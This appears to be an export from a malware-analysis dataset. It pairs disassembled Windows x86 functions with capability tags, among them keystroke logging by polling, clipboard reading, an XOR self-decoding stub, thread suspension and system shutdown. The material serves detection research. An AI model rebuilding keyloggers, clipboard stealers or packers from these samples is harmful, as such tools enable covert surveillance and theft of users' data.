joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49a170
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x4eb018]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x218], 0
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyExW]
mov dword [ebp - 0x210], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x214], ecx
mov edx, dword [ebp - 0x214]
sub edx, 0x21
mov dword [ebp - 0x214], edx
cmp dword [ebp - 0x214], 0xd
ja case.0x49a1dc.8
mov eax, dword [ebp - 0x214]
movzx ecx, byte [eax + 0x49a27c]
jmp dword [ecx*4 + 0x49a274]
mov edx, dword [ebp - 0x210]
or edx, 0x100
mov dword [ebp - 0x210], edx
cmp dword [ebp + 0x10], 0
je 0x49a20c
mov eax, dword [ebp - 0x210]
or eax, 0x1000000
mov dword [ebp - 0x210], eax
push 0x208
push 0
lea ecx, [ebp - 0x20c]
push ecx
call fcn.0049d5c0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x20c]
push edx
mov eax, dword [ebp - 0x210]
shl eax, 0x10
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
push 0xffffffffffffffff
lea ecx, [ebp - 0x20c]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00439780
mov edx, dword [ebp - 0x218]
or edx, 1
mov dword [ebp - 0x218], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004250ca
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebx
sub esp, 0x44
mov eax, 0x401023
mov ecx, 0
mov bl, byte [eax]
add bl, 0xaa
mov byte [eax], bl
add eax, 1
add ecx, 1
cmp ecx, 0xd137
jne 0x40100e
rol dword [ecx], 0x81
stc
aaa
rol dword [eax], 1
add byte [ebp - 0x15], dh
push cs
push esi
push esi
xchg edi, eax
push esi
orps xmm2, xmmword [esi + 0x56]
push esi
loopne 0x40109d
salc
sbb edi, ebp
fisubr word [esi - 0x27]
pop ss
push edi
fst dword [esi]
push edi
xlatb
dec edi
push ebp
jge 0x401095
push esi
retf
push esi
xchg si, ax
push esi
adc dword [ecx], ebx
sbb dword [ecx], ebx
sbb edi, ebx
outsb dx, byte [esi]
push cs
sub esi, dword [eax]
xchg esi, eax
push esi
fst dword [esi]
push esi
fstp dword [edx]
lcall 0x3e19, 0xb1192655
pop ebx
push esi
push esi
push esi
aas
pushal
push esi
push esi
push esi
ucomiss xmm7, dword [ebp - 0x69]
push esi
aas
ror dword [ebx], 0x56
push esi
mov esi, 0x569666d4
test dword ds:[edi], ebx
push esi
push esi
scasd eax, dword es:[edi]
sbb dword [edi], ecx
jge 0x401019
push esi
aas
xor al, 0xfb
push esi
push esi
pop ebx
push esi
push esi
push esi
aas
pushal
push esi
push esi
push esi
divps xmm7, xmmword [esi - 0x69]
xchg edi, eax
push esi
aas
xchg edi, eax
or edx, dword [esi + 0x56]
mov esi, 0x569666fe
pop ebx
pop ds
push esi
push esi
scasd eax, dword es:[edi]
sbb dword [edi], ecx
pop esi
jle 0x401043
invalid
push esi
aas
or bh, bl
push esi
push esi
pop ebx
push esi
push esi
push esi
aas
pushal
push esi
push esi
push esi
fxsave [eax + 0x6d3f5697]
or edx, dword [esi + 0x56]
mov esi, 0x56966628
xor dword ds:[esi], ebx
push esi
push esi
scasd eax, dword es:[edi]
sbb dword [edi], ecx
scasb al, byte es:[edi]
adc byte [edi - 0x41fc0aa], 0x56
push esi
pop ebx
push esi
push esi
push esi
aas
pushal
push esi
push esi
push esi
movhps xmm2, qword [edi + edx*4 + 0xa433f56]
push esi
push esi
xchg esp, eax
xchg edi, eax
push esi
aas
inc ebx
or dl, byte [esi + 0x56]
mov esi, 0x56966652
pop es
push ds
push esi
push esi
scasd eax, dword es:[edi]
sbb dword [edi], ecx
push ss
xchg esp, eax
xchg edi, eax
push esi
aas
mov dh, 0xfb
push esi
push esi
pop ebx
push esi
push esi
push esi
aas
pushal
push esi
push esi
push esi
cmovbe edx, dword [edi + edx*4 + 0xa193f56]
push esi
push esi
mov esi, 0x5696677c
fstp qword ds:[esi]
push esi
push esi
scasd eax, dword es:[edi]
sbb dword [edi], ecx
inc esi
xchg esp, eax
xchg edi, eax
push esi
aas
xor al, byte [edx]
push esi
push esi
pop ebx
push esi
push esi
push esi
aas
pushal
push esi
push esi
push esi
pcmpeqd mm2, qword [ebp - 0x10c0a969]
or dl, byte [esi + 0x56]
mov esi, 0x569667a6
mov bl, 0x1e
push esi
push esi
scasd eax, dword es:[edi]
sbb dword [edi], ecx
jbe 0x4010e8
xchg edi, eax
push esi
aas
invalid
Function at 0x407281
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x461124], 0
jne 0x4072bf
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x407295
mov dword [ecx*4 + 0x461120], eax
inc ecx
cmp ecx, 0x100
jl 0x407290
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x4072ec
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x461120]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4072cd
not eax
pop ebp
ret 0xc

Function at 0x403910
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4040fe], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404670], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x404604], eax
mov dword [0x4040f6], eax
mov dword [0x4045f0], 0x30
mov dword [0x4045f4], 2
jmp 0x403955
mov dword [0x4045f8], 0x402f69
mov dword [0x4045fc], 0
mov dword [0x404600], 0
mov dword [0x404618], 0x404564
mov dword [0x404610], 0xf
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x404608], eax
mov dword [0x40461c], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x40460c], eax
push 0x4045f0
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x4040f6]
push 0
push 0
push 0x1e5
push 0x203
push 0xfffff98e
push 0xfffff9c0
push 0xcf0000
push str.asdlkjalsdj_ai8
push str.first
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404668], eax
push 5
push dword [0x404668]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404668]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x404620]
jmp 0x403a29
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x403a1b
mov eax, dword [0x404628]
jmp 0x403a44
call 0x402a90
ret
Function at 0x401120
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5625f1
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0xfc6800]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov dword [eax], vtable.CAmkProgDlg.0
mov dword [ebp - 4], 2
mov ecx, dword [0xfc8814]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [0xfc8814]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x14]
add ecx, 0xe4
call fcn.00507d45
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x14]
add ecx, 0xd0
call fcn.00427470
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
add ecx, 0x7c
call fcn.00507bc9
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x14]
call fcn.00507177
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x4018d0
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5626e8
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0xfc6800]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x64], ecx
mov eax, dword [ebp + 8]
mov dword [0xfc882c], eax
cmp dword [0xfc881c], 0
je 0x401931
cmp dword [0xfc8a3c], 0
je 0x401931
cmp dword [0xfc882c], 0
je 0x401927
push 8
mov ecx, dword [ebp - 0x64]
call fcn.0050df3c
jmp 0x401931
push 0
mov ecx, dword [ebp - 0x64]
call fcn.0050df3c
cmp dword [0xfc882c], 0
je 0x401a34
mov ecx, dword [0xfc8814]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
call fcn.0042e1d0
mov ecx, dword [ebp - 0x64]
mov dword [ecx + 0xdc], eax
mov dword [ecx + 0xe0], edx
mov edx, dword [ebp - 0x64]
add edx, 0xd4
push edx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [ebp - 0x64]
add eax, 0xd0
push eax
mov ecx, dword [0xfc84a4]
add ecx, 0x7c
call fcn.0050b927
lea ecx, [ebp - 0x18]
call fcn.00402510
mov dword [ebp - 4], 0
push 2
push 0x50
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x1c]
push edx
push 0x57bfb4
call fcn.0041d280
add esp, 0x14
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x20]
push edx
call fcn.0041c2f0
add esp, 0xc
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x44]
push ecx
lea ecx, [ebp - 0x18]
call fcn.00402570
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.00427470
lea ecx, [ebp - 0x10]
call fcn.00402510
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x18]
push edx
push 0x57c038
lea eax, [ebp - 0x10]
push eax
call fcn.00402b00
add esp, 0xc
mov ecx, dword [ebp - 0x10]
push ecx
mov ecx, dword [ebp - 0x64]
add ecx, 0x7c
call fcn.0050de9a
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.00427470
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.00427470
jmp 0x401a95
mov edx, dword [ebp - 0x64]
mov eax, dword [edx + 0xd0]
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
push ecx
mov ecx, dword [ebp - 0x64]
add ecx, 0x7c
call fcn.0050de9a
mov edx, dword [ebp - 0x64]
mov eax, dword [edx + 0xd8]
push eax
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx + 0xd4]
push edx
call dword [sym.imp.USER32.dll_SetCursorPos]
call fcn.0042e1d0
mov ecx, dword [ebp - 0x64]
sub eax, dword [ecx + 0xdc]
sbb edx, dword [ecx + 0xe0]
mov dword [0xfc8b20], eax
mov dword [0xfc8b24], edx
mov edx, dword [0xfc8814]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x401e20
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [0xfc84a4], 0
push 0
push 0
push 0
push 0x401e70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [0xfc84a4], 0
jne 0x401e62
push 0xfc87fc
push 0x32
push 0xa
call fcn.00405800
add esp, 0xc
jmp 0x401e46
mov esp, ebp
pop ebp
ret
Function at 0x403250
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4032bc
lea ecx, [ebp - 0x1c]
push ecx
push 0x57c70c
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x14], 1
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 2
push 0
push 0
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x4032bc
xor eax, eax
jmp 0x4032d4
push 0x80020003
mov eax, dword [ebp + 8]
or eax, 0x10
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
neg eax
sbb eax, eax
neg eax
mov esp, ebp
pop ebp
ret

Function at 0x4047c0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x562a68
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0xfc6800]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x10]
call fcn.00402510
mov dword [ebp - 4], 0
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x404890
mov eax, dword [0xfc888c]
push eax
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40488a
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
test eax, eax
je 0x404880
xor ecx, ecx
mov word [ebp - 0x20], cx
lea edx, [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00404400
add esp, 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jle 0x40485e
movzx ecx, word [ebp - 0x20]
test ecx, ecx
jne 0x404860
jmp 0x404880
mov dx, word [ebp - 0x20]
mov word [ebp - 0x4e], dx
movzx eax, word [ebp - 0x4e]
push eax
lea ecx, [ebp - 0x10]
call fcn.00427510
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ecx
jmp 0x40482d
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp - 0x10]
sub eax, 0x10
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.004028d0
add esp, 4
mov dword [ebp - 0x58], eax
mov edx, dword [ebp - 0x58]
add edx, 0x10
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x24]
or ecx, 1
mov dword [ebp - 0x24], ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.00427470
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x40b890
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x568cab
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0xfc6800]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x58], ecx
push 0xac
call fcn.005070f4
add esp, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0
je 0x40b8e2
mov ecx, dword [ebp - 0x18]
call fcn.0040b520
mov dword [ebp - 0x5c], eax
jmp 0x40b8e9
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x58]
push edx
mov ecx, dword [ebp - 0x10]
call fcn.0040b960
mov eax, dword [ebp - 0x10]
add eax, 0x30
mov dword [ebp - 0x54], eax
push 1
mov ecx, dword [ebp - 0x54]
call fcn.0041e420
mov ecx, dword [ebp - 0x54]
mov dword [ecx + 0xc], 0
mov edx, dword [ebp - 0x54]
mov dword [edx + 0x10], 0xffffffff
mov eax, dword [ebp - 0x10]
add eax, 0x30
push eax
mov ecx, dword [ebp - 0x58]
add ecx, 0x30
call fcn.00405700
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x41ba80
Capabilities:
Acquire debug privileges
Allocate thread local storage
Get common file path
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5647a6
mov eax, dword fs:[0]
push eax
sub esp, 0xd8
mov eax, dword [0xfc6800]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xe4], ecx
push 0
push 0xfc85f0
call fcn.0041b960
add esp, 8
push 0xfc85f0
mov ecx, 0xfc8a18
call fcn.00426ce0
push 0
push 0x1a
push 0x104
mov ecx, 0xfc896c
call fcn.00427130
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0xffffffffffffffff
mov ecx, 0xfc896c
call fcn.00426af0
push 1
push 0x57ec98
call fcn.0041b9f0
add esp, 8
mov dword [0xfc84d8], 0x114
push 0xfc84d8
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
call fcn.00512fe3
mov eax, dword [eax + 4]
mov dword [ebp - 0xc4], eax
call fcn.00512fe3
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc8], ecx
mov edx, 0x80
movzx eax, dx
push eax
mov ecx, dword [ebp - 0xc8]
push ecx
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [0xfc84d4], eax
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
push 0
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0xe4]
add eax, 0xa4
push eax
call sub.gdiplus.dll_GdiplusStartup
push 0
call fcn.005121b6
add esp, 4
push 0
lea ecx, [ebp - 0x98]
push ecx
call fcn.0042d6e0
add esp, 8
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x98]
mov eax, dword [edx - 0xc]
mov dword [ebp - 0xcc], eax
xor ecx, ecx
cmp dword [ebp - 0xcc], 0
sete cl
movzx edx, cl
test edx, edx
jne 0x41bbd7
mov eax, dword [ebp - 0x98]
push eax
call fcn.0042f280
add esp, 4
jmp 0x41bbe4
push 0x57ec5c
call fcn.0042f280
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x98]
call fcn.00427470
mov dword [ebp - 0xac], vtable.VObj.0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xac], vtable.ExprItem.0
mov dword [ebp - 0xac], vtable.AnyArray.0
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0xd4], ecx
mov edx, dword [ebp - 0xd4]
mov dword [edx], 0
mov eax, dword [ebp - 0xd4]
mov dword [eax + 4], 0
mov ecx, dword [ebp - 0xd4]
mov dword [ecx + 8], 0
mov edx, dword [ebp - 0xac]
mov eax, dword [edx + 4]
mov dword [0xfc84d0], eax
lea ecx, [ebp - 0xac]
call fcn.0041bd40
push 0
call fcn.00528e9d
add esp, 4
push eax
call fcn.00526fa1
add esp, 4
mov ecx, dword [ebp - 0xe4]
mov edx, dword [ecx + 0x44]
push edx
call fcn.004d2cb0
add esp, 4
call fcn.00472040
call fcn.004b4760
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0xfc8808], eax
push 0
lea ecx, [ebp - 0x94]
call fcn.004289f0
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0xe4]
lea ecx, [ebp - 0x94]
mov dword [eax + 0x20], ecx
push 0
mov edx, 0x66
movzx eax, dx
push eax
lea ecx, [ebp - 0x94]
call fcn.00507b31
push 0
lea ecx, [ebp - 0x94]
call fcn.0050a240
mov ecx, dword [0xfc8808]
push ecx
call dword [sym.imp.KERNEL32.dll_TlsFree]
mov dword [0xfc8808], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x94]
call fcn.00507177
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x41c1f0
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5647d8
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0xfc6800]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x24], 0
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
shl eax, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp + 0x10], 0
je 0x41c240
mov ecx, dword [ebp - 0x14]
or ecx, 0x1000000
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x1c]
call fcn.00402510
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0x40
mov edx, dword [ebp - 0x18]
shl edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00426a60
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x18]
add ecx, 1
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00426af0
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x18]
je 0x41c256
mov eax, dword [ebp - 0x1c]
sub eax, 0x10
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
push ecx
call fcn.004028d0
add esp, 4
mov dword [ebp - 0x50], eax
mov edx, dword [ebp - 0x50]
add edx, 0x10
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x24]
or ecx, 1
mov dword [ebp - 0x24], ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00427470
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x42a3b0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5650b8
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0xfc6800]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x42a48f
push 8
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x42a489
push 8
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x42a489
mov eax, dword [ebp - 0x14]
push eax
call fcn.0042a590
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x42a489
mov dword [ebp - 0x20], vtable.CGdiObject.0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], vtable.CBitmap.0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x20]
call fcn.0050f557
mov edx, dword [ebp - 0x1c]
push edx
mov ecx, dword [ebp + 8]
call fcn.00438010
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp dword [eax + 4], 0
sete cl
neg ecx
sbb ecx, ecx
add ecx, 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x20], vtable.CBitmap.0
lea ecx, [ebp - 0x20]
call fcn.00402c00
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x42a4b0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5650e8
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0xfc6800]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp dword [eax + 4], 0
sete cl
test ecx, ecx
je 0x42a4ec
xor eax, eax
jmp 0x42a572
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x42a570
mov dword [ebp - 0x14], vtable.CGdiObject.0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], vtable.CBitmap.0
mov dword [ebp - 4], 0
lea edx, [ebp - 0x14]
push edx
mov ecx, dword [ebp + 8]
call fcn.00437e10
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea eax, [ebp - 0x14]
test eax, eax
jne 0x42a536
mov dword [ebp - 0x1c], 0
jmp 0x42a53c
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
push edx
push 2
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [ebp - 0x18], 1
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x14], vtable.CBitmap.0
lea ecx, [ebp - 0x14]
call fcn.00402c00
mov eax, dword [ebp - 0x18]
jmp 0x42a572
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x42ab50
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x565150
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0xfc6800]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x14]
call fcn.00402510
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.00402510
mov byte [ebp - 4], 1
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x42abf9
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x42abca
mov dword [ebp - 0x3c], 0
jmp 0x42abd9
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00526686
add esp, 4
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x14]
call fcn.00402630
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov edx, dword [ebp - 0x14]
sub edx, 0x10
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x58]
push eax
call fcn.004028d0
add esp, 4
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x5c]
add ecx, 0x10
mov edx, dword [ebp + 8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x20]
or eax, 1
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.00427470
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00427470
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret